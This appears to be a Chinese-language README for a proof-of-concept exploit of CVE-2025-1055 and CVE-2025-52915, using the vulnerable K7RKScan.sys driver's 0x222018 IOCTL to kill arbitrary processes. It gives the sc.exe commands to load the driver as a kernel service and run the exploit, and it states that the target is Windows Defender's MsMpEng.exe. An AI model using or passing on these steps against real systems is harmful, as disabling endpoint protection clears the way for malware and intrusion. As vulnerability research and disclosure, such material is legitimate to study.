CVE-2025-1055-poc

使用 K7RKScan.sys 实现 CVE-2025-1055 和 CVE-2025-52915 的 PoC。此 PoC 利用 0x222018 IOCTL 终止任意进程。

使用方法

安装驱动：

sc.exe create K7RKScan_1516.sys binPath=C:\Users\Administrator\Downloads\K7RKScan_1516.sys type=kernel && sc.exe start K7RKScan_1516.sys

运行 PoC：

exploit.exe

该程序将终止 MsMpEng.exe 进程（Windows Defender）。

参考

https://blacksnufkin.github.io/posts/BYOVD-CVE-2025-52915/